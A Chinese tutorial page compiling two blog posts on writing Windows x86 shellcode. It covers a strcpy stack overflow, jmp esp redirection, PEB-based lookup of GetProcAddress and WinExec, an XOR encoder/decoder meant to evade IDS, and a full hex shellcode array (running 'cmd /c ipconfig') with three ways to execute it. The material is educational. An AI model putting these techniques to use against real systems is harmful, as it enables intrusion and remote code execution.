shellcode学习总结
生活随笔
收集整理的這篇文章主要介紹了
shellcode学习总结
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
shellcode
Shellcode實際是一段代碼(也可以是填充數據),是用來發送到服務器利用特定漏洞的代碼,一般可以獲取權限。另外,Shellcode一般是作為數據發送給受攻擊服務器的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它自然就會和漏洞聯想在一起,畢竟Shellcode只對沒有打補丁的主機有用武之地。網絡上數以萬計帶著漏洞頑強運行著的服務器給hacker和Vxer豐盛的晚餐。漏洞利用中最關鍵的是Shellcode的編寫。由于漏洞發現者在漏洞發現之初并不會給出完整Shellcode,因此掌握Shellcode編寫技術就顯得尤為重要。
中文名 填充數據 外文名 shellcode 類 ? ?型 漏洞代碼 平 ? ?臺 互聯網
目錄
1 編寫考慮因素
2 常見問題處理方法
編寫考慮因素
Shellcode一般作為數據發送給服務端造成溢出,不同數據對數據要求不同,因此,Shellcode也不一定相同。但Shellcode在編寫過程中,有些問題是一致的:⒈Shellcode的編寫語言。
用什么語言編寫最適合Shellcode呢?這個問題沒有定論。一般采用的是C語言,速度較快,但是ASM更便于控制Shellcode的生成。到底是快速編寫還是完全控制呢?很難回答呢。
⒉Shellcode本身代碼的重定位。Shellcode的流程控制,即如何通過溢出使控制權落在Shellcode手中
⒊Shellcode中使用的API地址定位。
⒋Shellcode編碼問題。
⒌多態技術躲避IDS檢測。
常見問題處理方法
Shellcode編寫技術⒈Shellcode編寫語言
Shellcode本質上可以使用任何編程語言,但我們需要的是提取其中的機器碼。Shellcode使用匯編語言編寫是最具可控性的,因為我們完全可以通過指令控制代碼生成,缺點就是需要大量的時間,而且還要你深入了解匯編。如果你想追求速度,C是不錯的選擇。C語言編寫起來較為省力,但Shellcode提取較為復雜,不過,一旦寫好模板,就省事許多。例如,這里有一個寫好的模板:void Shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
}
然后在main()中用函數指針操作和memcmp定位shellcode,用printf之類函數將shellcode打出來或保存即可。示例代碼略。縱觀當前shellcode,大部分是由C完成的,因此,想來大家已經取舍完了吧?
⒉Shellcode代碼地址定位,獲取程序EIP。
為什么要獲取EIP呢?原因是,我們需要我們的Shellcode能夠執行,對病毒技術有了解的話,應該知道他們是怎么定位的:利用CALL/POP來實現。這里就不得不提到兩種方法:JMP ESP和CALL/POP EBX。這是人們在對windows系統熟悉之后的方法,成功率非常高。相信看過王煒兄的教程的朋友應該有印象吧。這里我就簡單說一下。
我們的方法是通過Shellcode地址覆蓋返回地址,在溢出后即可跳轉到我們的代碼中,以獲取權限。而Shellcode在內存中的地址并不固定,因此我們利用系統的DLL文件中的JMP ESP或CALL ESP、CALL EBP來實現對Shellcode地址的間接跳轉。這樣有兩個好處,一是不必準確定位Shellcode地址;二是可以防止strcpy對00字節的截斷,因為DLL文件中,地址一般為7FXXXXXX。具體細節,網上已有相關的東東,大家自己找來看看吧。
⒊Shellcode中的API地址定位。
Shellcode代碼的運行環境和病毒在某些方面是類似的,由于系統不同,Api的地址也不盡相同。因此,要想讓Shellcode在不同Windows下運行就必須解決Api的定位問題。API定位的關鍵是了解Windows DLL映像文件格式,即PE文件格式,然后通過搜索函數的Export表獲取API地址。定位方法有暴力搜索法、從進程PEB中獲取和遍歷SEH鏈法。我們這里使用從進程PEB中獲取,示例代碼如下:__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;
push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 輸出表地址
mov ecx,[edx+18h] ;ecx = 輸出函數的個數
mov ebx,[edx+20h]
add ebx,edi ;ebx =函數名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi ;依次找每個函數名稱
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search
;如果是GetProcA,表示找到了
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引號地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 計算出的索引號值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx = 函數地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,edi ;利用索引值,計算出GetProcAddress的地址
mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
接下來是使用GetProcAddress()和LoadLibraryA()獲取其他需要函數了,和C沒什么兩樣,略過了吧,很累呢。
⒋Shellcode的編碼問題。
寫過Shellcode的兄弟對這個應該很熟吧?例如:strcpy函數中不能有0x00,RPC DOCM溢出時不能用0x5c等等。因為假如有這些字符,會導致服務中斷Shellcode,溢出失敗。不同溢出對shellcode要求不同,當然需要精選字符來達到目的,這樣太累了些,簡單點就是寫一段代碼,示例如下:
for(i=0;i ch=sc_buff^Enc_key;
//對可能字符進行替換
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff='0';
++k;
ch+=0x31;
}
//將編碼Code放在DecryptSc后
buff[k]=ch;
++k;
}
解碼時代碼 解碼時代碼,示例如下:
jmp next
getEncodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
loasb
cmp al,cl
jz shell
cmp al,0x30 //判斷是否為特殊字符
jz specal_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncodeAddr
========
Shellcode的原理及編寫
1.shellcode原理
Shellcode實際是一段代碼(也可以是填充數據),是用來發送到服務器利用特定漏洞的代碼,一般可以獲取權限。另外,Shellcode一般是作為數據發送給受攻擊服務的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它自然就會和漏洞聯想在一起,畢竟Shellcode只對沒有打補丁的主機有用武之地。網絡上數以萬計帶著漏洞頑強運行著的服務器給hacker和Vxer豐盛的晚餐。漏洞利用中最關鍵的是Shellcode的編寫。由于漏洞發現者在漏洞發現之初并不會給出完整Shellcode,因此掌握Shellcode編寫技術就顯得尤為重要。
如下鏈接是shellcode編寫的基礎,僅供參考
?http://blog.chinaunix.net/uid-24917554-id-3506660.html
緩沖區溢出的shellcode很多了,這里重現下緩沖區溢出。
[cpp] view plain copy 在CODE上查看代碼片派生到我的代碼片
int fun(char *shellcode) ?
{ ?
? ? char str[4]="";//這里定義4個字節 ?
? ? strcpy(str,shellcode);//這兩個shellcode如果超過4個字節,就會導致緩沖區溢出 ?
? ? printf("%s",str); ?
? ? return 1; ?
} ?
int main(int argc, char* argv[]) ?
{ ?
? char str[]="aaaaaaaaaaaaaaaaaaa!"; ?
? fun(str); ?
? return 0; ?
} ?
如上程序,會導致緩沖區溢出。
程序運行后截圖如下
如上可以看出來,異常偏移是61616161,其實自己觀察61616161其實就是aaaa的Hex編碼
因為調用函數的過程大致是
1:將參數從右到左壓入堆棧
2:將下一條指令的地址壓入堆棧
3:函數內部的臨時變量申請
4:函數調用完成,退出
內存棧區從高到低
[參數][ebp][返回地址][函數內部變量空間]
如上程序,如果函數內部變量空間比較小,執行strcpy時候,源字符串比目標字符串長,就會覆蓋函數返回地址,導致程序流程變化
如圖
0048FE44前四個00是str申請的四個字節的并初始化為00,后面的48FF1800是函數的返回地址,再后面的411E4000是ebp,既調用函數的基址。
再往下執行strcpy函數后,可以看見aaaaaaaa覆蓋了返回地址
如圖
可以看見0018FF44地址后面的函數返回地址和ebp都被61填充了。
fun函數執行完后,返回調用fun函數地址時候,導致程序報錯。
緩沖區溢出的簡單講解如上,這時候,如果我們把返回地址改成我們自己的函數地址,不就可以執行我們自己的程序了?
緩沖區溢出利用就是把返回地址改成我們自己的函數地址,上面的方法就是覆蓋eip,既返回地址,還有一種方法是覆蓋SHE,原理差不多。
了解了基本原理,下面可以編寫利用的代碼
緩沖區溢出,基本的使用方法是jmp esp,覆蓋的eip指針是jmp esp的地址,利用的字符串結構如下
[正常的字符串][jmp esp的地址][執行的代碼(shellcode)]
關于獲取jmp esp的代碼,可以自己寫個程序,從系統中查找jmp esp代碼0xFFE4。
下面開始編寫shellcode以及調用實現
[cpp] view plain copy 在CODE上查看代碼片派生到我的代碼片
void fun() ?
{ ?
? ? __asm ?
? ? { ?
? ? ?mov eax, dword ptr fs:[0x30]; ?
? ? ?mov eax, dword ptr [eax+0xC]; ?
? ? ?mov eax, dword ptr [eax+0xC]; ?
? ? ?mov eax, dword ptr [eax]; ?
? ? ?mov eax, dword ptr [eax]; ?
? ? ?mov eax, dword ptr [eax+0x18]; ?
? ? ?mov ebp,eax ? ? ? ? ? ? ? ? ? ? ? ?//Kernel.dll基址 ?
? ? ?mov eax,dword ptr ss:[ebp+3CH] ? ? ?// eax=PE首部 ?
? ? ?mov edx,dword ptr ds:[eax+ebp+78H] ?// ?
? ? ?add edx,ebp ? ? ? ? ? ? ? ? ? ? ? ?// edx=引出表地址 ?
? ? ?mov ecx,dword ptr ds:[edx+18H] ? ? ?// ecx=導出函數個數,NumberOfFunctions ?
? ? ?mov ebx,dword ptr ds:[edx+20H] ? ? ?// ?
? ? ?add ebx,ebp ? ? ? ? ? ? ? ? ? ? ? ?// ebx=函數名地址,AddressOfName ?
start: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?// ?
? ? ?dec ecx ? ? ? ? ? ? ? ? ? ? ? ? ? ?// 循環的開始 ?
? ? ?mov esi,dword ptr ds:[ebx+ecx*4] ? // ?
? ? ?add esi,ebp ? ? ? ? ? ? ? ? ? ? ? ?// ?
? ? ?mov eax,0x50746547 ? ? ? ? ? ? ? ? ? // ?
? ? ?cmp dword ptr ds:[esi],eax ? ? ? ? // 比較PteG ?
? ? ?jnz start ? ? ? ? ? ? ? ? ? ? // ?
? ? ?mov eax,0x41636F72 ? ? ? ? ? ? ? ? ? // ?
? ? ?cmp dword ptr ds:[esi+4],eax ? ? ? // 比較Acor,通過GetProcA幾個字符就能確定是GetProcAddress ?
? ? ?jnz start ? ? ? ? ? ? ? ? ? ? // ?
? ? ?mov ebx,dword ptr ds:[edx+24H] ? ? ?// ?
? ? ?add ebx,ebp ? ? ? ? ? ? ? ? ? ? ? ?// ?
? ? ?mov cx,word ptr ds:[ebx+ecx*2] ? ? // ?
? ? ?mov ebx,dword ptr ds:[edx+1CH] ? ? ?// ?
? ? ?add ebx,ebp ? ? ? ? ? ? ? ? ? ? ? ?// ?
? ? ?mov eax,dword ptr ds:[ebx+ecx*4] ? // ?
? ? ?add eax,ebp ? ? ? ? ? ? ? ? ? ? ? ?// eax 現在是GetProcAddress地址 ?
? ? ?mov ebx,eax ? ? ? ? ? ? ? ? ? ? ? ?// GetProcAddress地址存入ebx,如果寫ShellCode的話以后還可以繼續調用 ?
? ? ?push 0 ? ? ? ? ? ? ? ? ? ? ? ? ? ? // ?
? ? ?push 0x636578 ? ? ? ? ? ? ? ? ? ? ? ?// ?
? ? ?push 0x456E6957 ? ? ? ? ? ? ? ? ? ? ?// 構造WinExec字符串 ?
? ? ?push esp ? ? ? ? ? ? ? ? ? ? ? ? ? // ?
? ? ?push ebp ? ? ? ? ? ? ? ? ? ? ? ? ? // ebp是kernel32.dll的基址 ??
? ? ?call ebx ? ? ? ? ? ? ? ? ? ? ? ? ? // 用GetProcAdress得到WinExec地址 ?
? ? ?mov ebx,eax ? ? ? ? ? ? ? ? ? ? ? ?// WinExec地址保存到ecx ?
? ?
? ? ?push 0x00676966 ?
? ? ?push 0x6E6F6370 ?
? ? ?push 0x6920632F ?
? ? ?push 0x20646d63 ? ?//cmd壓入棧 ?
??
? ? ?lea eax,[esp]; ? ? //取到cmd首地址 ?
? ? ?push 1 ? ? ? ? ? ? // ?
? ? ?push eax ? ? ? ? ? // ASCII "cmd /c ipconfig" ?
? ? ?call ebx ? ? ? ? ? // 執行WinExec ?
? ? // leave ? ? ? ? ? ?// 跳回原始入口點 ?
? ? } ?
} ?
[cpp] view plain copy 在CODE上查看代碼片派生到我的代碼片
int main(int argc, char* argv[]) ?
{ ?
? ?fun(); ?
} ?
如果匯編代碼在vc調試下,獲取二進制代碼如圖:
查看00401A08的地址,可以看出是fun函數的匯編代碼
shellcode代碼基本獲取到了,現在是要把他復制出來,
我取出來的后,如下
[cpp] view plain copy 在CODE上查看代碼片派生到我的代碼片
unsigned char shellcode[]={ ?
? ? 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45, ?
? ? 0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03, ?
? ? 0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B, ?
? ? 0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A, ?
? ? 0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70, ?
? ? 0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3}; ?
稍作了下加工,0x是HEX的方式。
下面是我們調用shellcode,看是否可以用
程序如下:
[cpp] view plain copy 在CODE上查看代碼片派生到我的代碼片
int main(int argc, char* argv[]) ?
{ ?
? ? unsigned char shellcode[]={ ?
? ? 0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40, ?
? ? 0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18, ?
? ? 0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50, ?
? ? 0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B, ?
? ? 0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04, ?
? ? 0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54, ?
? ? 0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63, ?
? ? 0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3}; ?
? ? //三種方式執行shellcode ?
? ? //第一種 ?
? ? ((void (*)())&shellcode)(); // 執行shellcode ?
? ? //第二種 ?
? ? __asm ? ??
? ?{ ? ??
? ? ? lea eax,shellcode; ? ??
? ? ? jmp eax; ? ??
? ?} ??
? ?//第三種 ?
? ? __asm ?
? ?{ ?
? ? ? lea eax, shellcode ?
? ? ? push eax ?
? ? ? ret ??
? ?} ?
} ?
至此,shellcode的編寫完成了,如上這只是shellcode大致編寫過程,是在windows下環境編寫的,linux環境下的編寫過程基本相同
至于更高級的利用,可以去看雪論壇逛逛。
http://blog.csdn.net/maotoula/article/details/18502679
========
總結
以上是生活随笔為你收集整理的shellcode学习总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 图解命令行http工具curl使用初步
- 下一篇: jdbc template 学习总结